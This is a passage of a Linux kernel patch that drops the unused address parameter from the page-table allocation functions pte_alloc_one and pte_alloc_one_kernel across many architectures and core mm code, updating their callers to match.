diff --git a/arch/m68k/include/asm/motorola_pgalloc.h b/arch/m68k/include/asm/motorola_pgalloc.h
index 7859a86319cf..d04d9ba9b976 100644
--- a/arch/m68k/include/asm/motorola_pgalloc.h
+++ b/arch/m68k/include/asm/motorola_pgalloc.h
@@ -8,7 +8,7 @@
 extern pmd_t *get_pointer_table(void);
 extern int free_pointer_table(pmd_t *);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -28,7 +28,7 @@ static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 	free_page((unsigned long) pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/m68k/include/asm/sun3_pgalloc.h b/arch/m68k/include/asm/sun3_pgalloc.h
index 11485d38de4e..1456c5eecbd9 100644
--- a/arch/m68k/include/asm/sun3_pgalloc.h
+++ b/arch/m68k/include/asm/sun3_pgalloc.h
@@ -35,8 +35,7 @@ do {							\
 	tlb_remove_page((tlb), pte);			\
 } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_KERNEL);
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return (pte_t *) (page);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
         struct page *page = alloc_pages(GFP_KERNEL, 0);
 
diff --git a/arch/microblaze/include/asm/pgalloc.h b/arch/microblaze/include/asm/pgalloc.h
index 7c89390c0c13..f4cc9ffc449e 100644
--- a/arch/microblaze/include/asm/pgalloc.h
+++ b/arch/microblaze/include/asm/pgalloc.h
@@ -108,10 +108,9 @@ static inline void free_pgd_slow(pgd_t *pgd)
 #define pmd_alloc_one_fast(mm, address)	({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)	({ BUG(); ((pmd_t *)2); })
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-		unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
@@ -132,20 +131,6 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 	return ptepage;
 }
 
-static inline pte_t *pte_alloc_one_fast(struct mm_struct *mm,
-		unsigned long address)
-{
-	unsigned long *ret;
-
-	ret = pte_quicklist;
-	if (ret != NULL) {
-		pte_quicklist = (unsigned long *)(*ret);
-		ret[0] = 0;
-		pgtable_cache_size--;
-	}
-	return (pte_t *)ret;
-}
-
 static inline void pte_free_fast(pte_t *pte)
 {
 	*(unsigned long **)pte = pte_quicklist;
diff --git a/arch/microblaze/mm/pgtable.c b/arch/microblaze/mm/pgtable.c
index 7f525962cdfa..c2ce1e42b888 100644
--- a/arch/microblaze/mm/pgtable.c
+++ b/arch/microblaze/mm/pgtable.c
@@ -235,8 +235,7 @@ unsigned long iopa(unsigned long addr)
 	return pa;
 }
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-		unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 	if (mem_init_done) {
diff --git a/arch/mips/include/asm/pgalloc.h b/arch/mips/include/asm/pgalloc.h
index 39b9f311c4ef..27808d9461f4 100644
--- a/arch/mips/include/asm/pgalloc.h
+++ b/arch/mips/include/asm/pgalloc.h
@@ -50,14 +50,12 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_pages(GFP_KERNEL | __GFP_ZERO, PTE_ORDER);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/nds32/include/asm/pgalloc.h b/arch/nds32/include/asm/pgalloc.h
index 27448869131a..3c5fee5b5759 100644
--- a/arch/nds32/include/asm/pgalloc.h
+++ b/arch/nds32/include/asm/pgalloc.h
@@ -22,8 +22,7 @@ extern void pgd_free(struct mm_struct *mm, pgd_t * pgd);
 
 #define check_pgt_cache()		do { } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -34,7 +33,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte;
 
diff --git a/arch/nios2/include/asm/pgalloc.h b/arch/nios2/include/asm/pgalloc.h
index bb47d08c8ef7..3a149ead1207 100644
--- a/arch/nios2/include/asm/pgalloc.h
+++ b/arch/nios2/include/asm/pgalloc.h
@@ -37,8 +37,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/openrisc/include/asm/pgalloc.h b/arch/openrisc/include/asm/pgalloc.h
index 8999b9226512..149c82ee4b8b 100644
--- a/arch/openrisc/include/asm/pgalloc.h
+++ b/arch/openrisc/include/asm/pgalloc.h
@@ -70,10 +70,9 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 	pte = alloc_pages(GFP_KERNEL, 0);
diff --git a/arch/openrisc/mm/ioremap.c b/arch/openrisc/mm/ioremap.c
index 2175e4bfd9fc..24fb1021c75a 100644
--- a/arch/openrisc/mm/ioremap.c
+++ b/arch/openrisc/mm/ioremap.c
@@ -118,8 +118,7 @@ EXPORT_SYMBOL(iounmap);
  * the memblock infrastructure.
  */
 
-pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index cf13275f7c6d..d05c678c77c4 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -122,7 +122,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 #define pmd_pgtable(pmd) pmd_page(pmd)
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL|__GFP_ZERO);
 	if (!page)
@@ -135,7 +135,7 @@ pte_alloc_one(struct mm_struct *mm, unsigned long address)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
diff --git a/arch/powerpc/include/asm/book3s/32/pgalloc.h b/arch/powerpc/include/asm/book3s/32/pgalloc.h
index 82e44b1a00ae..af9e13555d95 100644
--- a/arch/powerpc/include/asm/book3s/32/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/32/pgalloc.h
@@ -82,8 +82,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/powerpc/include/asm/book3s/64/pgalloc.h b/arch/powerpc/include/asm/book3s/64/pgalloc.h
index 391ed2c3b697..8f1d92e99fe5 100644
--- a/arch/powerpc/include/asm/book3s/64/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/64/pgalloc.h
@@ -42,7 +42,7 @@ extern struct kmem_cache *pgtable_cache[];
 			pgtable_cache[(shift) - 1];	\
 		})
 
-extern pte_t *pte_fragment_alloc(struct mm_struct *, unsigned long, int);
+extern pte_t *pte_fragment_alloc(struct mm_struct *, int);
 extern pmd_t *pmd_fragment_alloc(struct mm_struct *, unsigned long);
 extern void pte_fragment_free(unsigned long *, int);
 extern void pmd_fragment_free(unsigned long *);
@@ -192,16 +192,14 @@ static inline pgtable_t pmd_pgtable(pmd_t pmd)
 	return (pgtable_t)pmd_page_vaddr(pmd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
-	return (pte_t *)pte_fragment_alloc(mm, address, 1);
+	return (pte_t *)pte_fragment_alloc(mm, 1);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
-	return (pgtable_t)pte_fragment_alloc(mm, address, 0);
+	return (pgtable_t)pte_fragment_alloc(mm, 0);
 }
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
diff --git a/arch/powerpc/include/asm/nohash/32/pgalloc.h b/arch/powerpc/include/asm/nohash/32/pgalloc.h
index 8825953c225b..16623f53f0d4 100644
--- a/arch/powerpc/include/asm/nohash/32/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/32/pgalloc.h
@@ -83,8 +83,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/powerpc/include/asm/nohash/64/pgalloc.h b/arch/powerpc/include/asm/nohash/64/pgalloc.h
index e2d62d033708..2e7e0230edf4 100644
--- a/arch/powerpc/include/asm/nohash/64/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/64/pgalloc.h
@@ -96,14 +96,12 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(GFP_KERNEL | __GFP_ZERO);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/powerpc/mm/pgtable-book3s64.c b/arch/powerpc/mm/pgtable-book3s64.c
index 01d7c0f7c4f0..cff1d426ca6a 100644
--- a/arch/powerpc/mm/pgtable-book3s64.c
+++ b/arch/powerpc/mm/pgtable-book3s64.c
@@ -379,7 +379,7 @@ static pte_t *__alloc_for_ptecache(struct mm_struct *mm, int kernel)
 	return (pte_t *)ret;
 }
 
-pte_t *pte_fragment_alloc(struct mm_struct *mm, unsigned long vmaddr, int kernel)
+pte_t *pte_fragment_alloc(struct mm_struct *mm, int kernel)
 {
 	pte_t *pte;
 
diff --git a/arch/powerpc/mm/pgtable_32.c b/arch/powerpc/mm/pgtable_32.c
index 120a49bfb9c6..b99a89cdcc5e 100644
--- a/arch/powerpc/mm/pgtable_32.c
+++ b/arch/powerpc/mm/pgtable_32.c
@@ -43,7 +43,7 @@ EXPORT_SYMBOL(ioremap_bot);	/* aka VMALLOC_END */
 
 extern char etext[], _stext[], _sinittext[], _einittext[];
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -57,7 +57,7 @@ __ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
diff --git a/arch/riscv/include/asm/pgalloc.h b/arch/riscv/include/asm/pgalloc.h
index a79ed5faff3a..94043cf83c90 100644
--- a/arch/riscv/include/asm/pgalloc.h
+++ b/arch/riscv/include/asm/pgalloc.h
@@ -82,15 +82,13 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 
 #endif /* __PAGETABLE_PMD_FOLDED */
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(
 		GFP_KERNEL | __GFP_RETRY_MAYFAIL | __GFP_ZERO);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/s390/include/asm/pgalloc.h b/arch/s390/include/asm/pgalloc.h
index f0f9bcf94c03..ce2ca8cbd2ec 100644
--- a/arch/s390/include/asm/pgalloc.h
+++ b/arch/s390/include/asm/pgalloc.h
@@ -139,8 +139,8 @@ static inline void pmd_populate(struct mm_struct *mm,
 /*
  * page table entry allocation/free routines.
  */
-#define pte_alloc_one_kernel(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
-#define pte_alloc_one(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
+#define pte_alloc_one_kernel(mm) ((pte_t *)page_table_alloc(mm))
+#define pte_alloc_one(mm) ((pte_t *)page_table_alloc(mm))
 
 #define pte_free_kernel(mm, pte) page_table_free(mm, (unsigned long *) pte)
 #define pte_free(mm, pte) page_table_free(mm, (unsigned long *) pte)
diff --git a/arch/sh/include/asm/pgalloc.h b/arch/sh/include/asm/pgalloc.h
index ed053a359ab7..8ad73cb31121 100644
--- a/arch/sh/include/asm/pgalloc.h
+++ b/arch/sh/include/asm/pgalloc.h
@@ -32,14 +32,12 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmd,
 /*
  * Allocate and free page tables.
  */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(QUICK_PT, GFP_KERNEL, NULL);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
diff --git a/arch/sparc/include/asm/pgalloc_32.h b/arch/sparc/include/asm/pgalloc_32.h
index 90459481c6c7..282be50a4adf 100644
--- a/arch/sparc/include/asm/pgalloc_32.h
+++ b/arch/sparc/include/asm/pgalloc_32.h
@@ -58,10 +58,9 @@ void pmd_populate(struct mm_struct *mm, pmd_t *pmdp, struct page *ptep);
 void pmd_set(pmd_t *pmdp, pte_t *ptep);
 #define pmd_populate_kernel(MM, PMD, PTE) pmd_set(PMD, PTE)
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return srmmu_get_nocache(PTE_SIZE, PTE_SIZE);
 }
diff --git a/arch/sparc/include/asm/pgalloc_64.h b/arch/sparc/include/asm/pgalloc_64.h
index 874632f34f62..48abccba4991 100644
--- a/arch/sparc/include/asm/pgalloc_64.h
+++ b/arch/sparc/include/asm/pgalloc_64.h
@@ -60,10 +60,8 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 	kmem_cache_free(pgtable_cache, pmd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address);
-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address);
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 void pte_free_kernel(struct mm_struct *mm, pte_t *pte);
 void pte_free(struct mm_struct *mm, pgtable_t ptepage);
 
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index f396048a0d68..6133f21811e9 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -2921,8 +2921,7 @@ void __flush_tlb_all(void)
 			     : : "r" (pstate));
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	pte_t *pte = NULL;
@@ -2933,8 +2932,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	if (!page)
diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c
index be9cb0065179..ce67a96e70c3 100644
--- a/arch/sparc/mm/srmmu.c
+++ b/arch/sparc/mm/srmmu.c
@@ -364,12 +364,12 @@ pgd_t *get_pgd_fast(void)
  * Alignments up to the page size are the same for physical and virtual
  * addresses of the nocache area.
  */
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	unsigned long pte;
 	struct page *page;
 
-	if ((pte = (unsigned long)pte_alloc_one_kernel(mm, address)) == 0)
+	if ((pte = (unsigned long)pte_alloc_one_kernel(mm)) == 0)
 		return NULL;
 	page = pfn_to_page(__nocache_pa(pte) >> PAGE_SHIFT);
 	if (!pgtable_page_ctor(page)) {
diff --git a/arch/um/include/asm/pgalloc.h b/arch/um/include/asm/pgalloc.h
index bf90b2aa2002..99eb5682792a 100644
--- a/arch/um/include/asm/pgalloc.h
+++ b/arch/um/include/asm/pgalloc.h
@@ -25,8 +25,8 @@
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 3c0e470ea646..1f277191fbf3 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -197,7 +197,7 @@ void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -205,7 +205,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/unicore32/include/asm/pgalloc.h b/arch/unicore32/include/asm/pgalloc.h
index f0fdb268f8f2..7cceabecf4e3 100644
--- a/arch/unicore32/include/asm/pgalloc.h
+++ b/arch/unicore32/include/asm/pgalloc.h
@@ -34,7 +34,7 @@ extern void free_pgd_slow(struct mm_struct *mm, pgd_t *pgd);
  * Allocate one PTE table.
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -46,7 +46,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/x86/include/asm/pgalloc.h b/arch/x86/include/asm/pgalloc.h
index fbd578daa66e..5068e85165b2 100644
--- a/arch/x86/include/asm/pgalloc.h
+++ b/arch/x86/include/asm/pgalloc.h
@@ -47,8 +47,8 @@ extern gfp_t __userpte_alloc_gfp;
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 /* Should really implement gc for free page table pages. This could be
    done with a reference count in struct page. */
diff --git a/arch/x86/mm/pgtable.c b/arch/x86/mm/pgtable.c
index 089e78c4effd..a2eff247377b 100644
--- a/arch/x86/mm/pgtable.c
+++ b/arch/x86/mm/pgtable.c
@@ -23,12 +23,12 @@ EXPORT_SYMBOL(physical_mask);
 
 gfp_t __userpte_alloc_gfp = PGALLOC_GFP | PGALLOC_USER_GFP;
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP & ~__GFP_ACCOUNT);
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/xtensa/include/asm/pgalloc.h b/arch/xtensa/include/asm/pgalloc.h
index 1065bc8bcae5..b3b388ff2f01 100644
--- a/arch/xtensa/include/asm/pgalloc.h
+++ b/arch/xtensa/include/asm/pgalloc.h
@@ -38,8 +38,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *ptep;
 	int i;
@@ -52,13 +51,12 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return ptep;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pte_t *pte;
 	struct page *page;
 
-	pte = pte_alloc_one_kernel(mm, addr);
+	pte = pte_alloc_one_kernel(mm);
 	if (!pte)
 		return NULL;
 	page = virt_to_page(pte);
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 0416a7204be3..43ce50edc499 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -1789,8 +1789,8 @@ static inline void mm_inc_nr_ptes(struct mm_struct *mm) {}
 static inline void mm_dec_nr_ptes(struct mm_struct *mm) {}
 #endif
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address);
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address);
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd);
+int __pte_alloc_kernel(pmd_t *pmd);
 
 /*
  * The following ifdef needed to get the 4level-fixup.h header to work.
@@ -1928,18 +1928,17 @@ static inline void pgtable_page_dtor(struct page *page)
 	pte_unmap(pte);					\
 } while (0)
 
-#define pte_alloc(mm, pmd, address)			\
-	(unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd, address))
+#define pte_alloc(mm, pmd) (unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd))
 
 #define pte_alloc_map(mm, pmd, address)			\
-	(pte_alloc(mm, pmd, address) ? NULL : pte_offset_map(pmd, address))
+	(pte_alloc(mm, pmd) ? NULL : pte_offset_map(pmd, address))
 
 #define pte_alloc_map_lock(mm, pmd, address, ptlp)	\
-	(pte_alloc(mm, pmd, address) ?			\
+	(pte_alloc(mm, pmd) ?			\
 		 NULL : pte_offset_map_lock(mm, pmd, address, ptlp))
 
 #define pte_alloc_kernel(pmd, address)			\
-	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd, address))? \
+	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd))? \
 		NULL: pte_offset_kernel(pmd, address))
 
 #if USE_SPLIT_PMD_PTLOCKS
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 00704060b7f7..fd7e8714e5a1 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -558,7 +558,7 @@ static vm_fault_t __do_huge_pmd_anonymous_page(struct vm_fault *vmf,
 		return VM_FAULT_FALLBACK;
 	}
 
-	pgtable = pte_alloc_one(vma->vm_mm, haddr);
+	pgtable = pte_alloc_one(vma->vm_mm);
 	if (unlikely(!pgtable)) {
 		ret = VM_FAULT_OOM;
 		goto release;
@@ -683,7 +683,7 @@ vm_fault_t do_huge_pmd_anonymous_page(struct vm_fault *vmf)
 		struct page *zero_page;
 		bool set;
 		vm_fault_t ret;
-		pgtable = pte_alloc_one(vma->vm_mm, haddr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (unlikely(!pgtable))
 			return VM_FAULT_OOM;
 		zero_page = mm_get_huge_zero_page(vma->vm_mm);
@@ -772,7 +772,7 @@ vm_fault_t vmf_insert_pfn_pmd(struct vm_area_struct *vma, unsigned long addr,
 		return VM_FAULT_SIGBUS;
 
 	if (arch_needs_pgtable_deposit()) {
-		pgtable = pte_alloc_one(vma->vm_mm, addr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (!pgtable)
 			return VM_FAULT_OOM;
 	}
@@ -910,7 +910,7 @@ int copy_huge_pmd(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	if (!vma_is_anonymous(vma))
 		return 0;
 
-	pgtable = pte_alloc_one(dst_mm, addr);
+	pgtable = pte_alloc_one(dst_mm);
 	if (unlikely(!pgtable))
 		goto out;
 
diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
index 7a2a2f13f86f..272849cd2007 100644
--- a/mm/kasan/kasan_init.c
+++ b/mm/kasan/kasan_init.c
@@ -121,7 +121,7 @@ static int __ref zero_pmd_populate(pud_t *pud, unsigned long addr,
 			pte_t *p;
 
 			if (slab_is_available())
-				p = pte_alloc_one_kernel(&init_mm, addr);
+				p = pte_alloc_one_kernel(&init_mm);
 			else
 				p = early_alloc(PAGE_SIZE, NUMA_NO_NODE);
 			if (!p)
diff --git a/mm/memory.c b/mm/memory.c
index c467102a5cbc..3afdcf38993d 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -647,10 +647,10 @@ void free_pgtables(struct mmu_gather *tlb, struct vm_area_struct *vma,
 	}
 }
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd)
 {
 	spinlock_t *ptl;
-	pgtable_t new = pte_alloc_one(mm, address);
+	pgtable_t new = pte_alloc_one(mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -681,9 +681,9 @@ int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
 	return 0;
 }
 
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address)
+int __pte_alloc_kernel(pmd_t *pmd)
 {
-	pte_t *new = pte_alloc_one_kernel(&init_mm, address);
+	pte_t *new = pte_alloc_one_kernel(&init_mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -3139,7 +3139,7 @@ static vm_fault_t do_anonymous_page(struct vm_fault *vmf)
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))
+	if (pte_alloc(vma->vm_mm, vmf->pmd))
